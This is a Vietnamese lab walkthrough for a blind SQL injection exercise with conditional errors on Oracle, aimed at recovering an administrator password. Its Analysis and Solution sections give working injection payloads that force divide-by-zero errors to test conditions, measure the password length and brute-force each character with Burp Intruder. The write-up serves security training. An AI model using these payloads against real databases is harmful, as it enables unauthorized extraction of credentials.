# Lab: Blind SQL injection with conditional errors

Mô tả

Phòng thí nghiệm này chứa lỗ hổn Blind SQL injection. Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL có chứa giá trị của cookie đã gửi.

Kết quả của truy vấn SQL không được trả về và ứng dụng không phản hồi khác nhau tùy thuộc vào việc truy vấn có trả về bất kỳ hàng nào hay không. Nếu truy vấn SQL gây ra lỗi, thì ứng dụng sẽ trả về thông báo lỗi tùy chỉnh.

Cơ sở dữ liệu chứa một bảng khác có tên là `users`, với các cột có tên là `username`và `password`.

**Mục tiêu: Khai thác lỗ hổng SQL injection để tìm ra mật khẩu của người `administrator`dùng.**

## **Phân tích**

Kích hoạt lỗi trên CSDL Oracle

`SELECT CASE WHEN (`CONDITION`) THEN TO_CHAR(1/0) ELSE NULL END FROM dual`

Dựa vào để xác định có thể khai thác  blind SQL injection bằng kích hoạt lỗi có điều kiện hay không

`' AND (SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a`

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FREgwxx2v9KGn6yyTQy2j%2Fimage.png?alt=media&#x26;token=5d1d7401-57f6-4e16-b5b3-01aa55d37425" alt=""><figcaption><p>Với đầu vào điều kiện là sai,<code>CASE</code>biểu thức được đánh giá là <code>'a'</code>, không gây ra bất kỳ lỗi nào </p></figcaption></figure>

`' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE 'a' END FROM dual)='a`

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FsnP30sJNgpDZ8fA9LSIM%2Fimage.png?alt=media&#x26;token=cc96c8c3-f0f1-4036-a5a7-c04efe4b5b67" alt=""><figcaption><p>Với đầu vào điều kiện là đúng, nó sẽ đánh giá là <code>1/0</code>, gây ra lỗi chia cho không</p></figcaption></figure>

Dựa vào lỗ hổng này có thể lấy dữ liệu bằng mật khẩu `administrator` bằng cách kiểm tra từng ký tự một

' AND (SELECT CASE WHEN (username = 'administrator' AND SUBSTRING(password, 1, 1) > 'm') THEN`TO_CHAR(1/0)` ELSE 'l' END FROM users)='l

## Giải pháp

Xác định độ dài mật khẩu

' AND (SELECT CASE WHEN (LENGTH(password) > 10) THEN TO\_CHAR(1/0) ELSE 'a' END FROM users WHERE username = 'administrator')='a

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FDuuVKDIxAVDzPQxddFMC%2Fimage.png?alt=media&#x26;token=f2fdfd9c-309d-40c8-be7b-66de9eec0f87" alt=""><figcaption><p>Gây ra lỗi nên điều kiện này là đúng</p></figcaption></figure>

' AND (SELECT CASE WHEN (LENGTH(password) < 30) THEN TO\_CHAR(1/0) ELSE 'a' END FROM users WHERE username = 'administrator')='a

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FR8m0sgFhRxtNUYQ7hLzw%2Fimage.png?alt=media&#x26;token=164fb4e9-a87c-47a9-baf3-3ac4aed57fa2" alt=""><figcaption><p>Gây ra lỗ nên điều kiện này là đúng</p></figcaption></figure>

Vậy độ dài `password` trong trong đoạn \[11;29]

Sử dụng Intruder để bruteforce độ dài

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FWHIzms29h1X2CRcbtmO5%2Fimage.png?alt=media&#x26;token=71601aa7-eea9-4655-8c6b-32f744ce8923" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FZXhhxL43IGQj9buvTfvN%2Fimage.png?alt=media&#x26;token=69833a76-4e1d-4f01-8c2c-56628ede9eca" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FrCFHvASO5reNdh7suW3H%2Fimage.png?alt=media&#x26;token=e49b38e6-cef5-4bf9-892e-14b88e48a639" alt=""><figcaption></figcaption></figure>

Đồ dài phản hồi thay đổi tại giá trị 20. Như vậy xác định được password là 20

**Xác định từng ký tự**

`' AND (SELECT CASE WHEN (substr(password, 1, 1) = 'a') THEN` TO\_CHAR(1/0) `ELSE 'a' END FROM users WHERE username = 'administrator')='a`

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FTaItrJzOLBlwSom1jJAl%2Fimage.png?alt=media&#x26;token=44bbf3a3-0231-4e0d-8e3f-061f69282617" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FvS9mqJkstXaDebybRBfz%2Fimage.png?alt=media&#x26;token=7f67fbcd-2ed8-44cf-9b6b-901e61c837d4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FVspR7rfKE0EpFiB2KddH%2Fimage.png?alt=media&#x26;token=29ca7f30-0ec2-4378-abde-3b95603e8ba5" alt=""><figcaption></figcaption></figure>

Lọc các status code 500 để xác định từng ký tự của mật khẩu

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2FVK5WAV8f9XPlrCc8HTiG%2Fimage.png?alt=media&#x26;token=34ed77cb-2504-4bf3-98a7-eafa074025ea" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2733582939-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnePar6ARbmno0NDI8DDU%2Fuploads%2Fv2rXh2KA6OozPBgUzWni%2Fimage.png?alt=media&#x26;token=f5c8b3f7-a576-47d2-aa18-82e131600d5d" alt=""><figcaption></figcaption></figure>
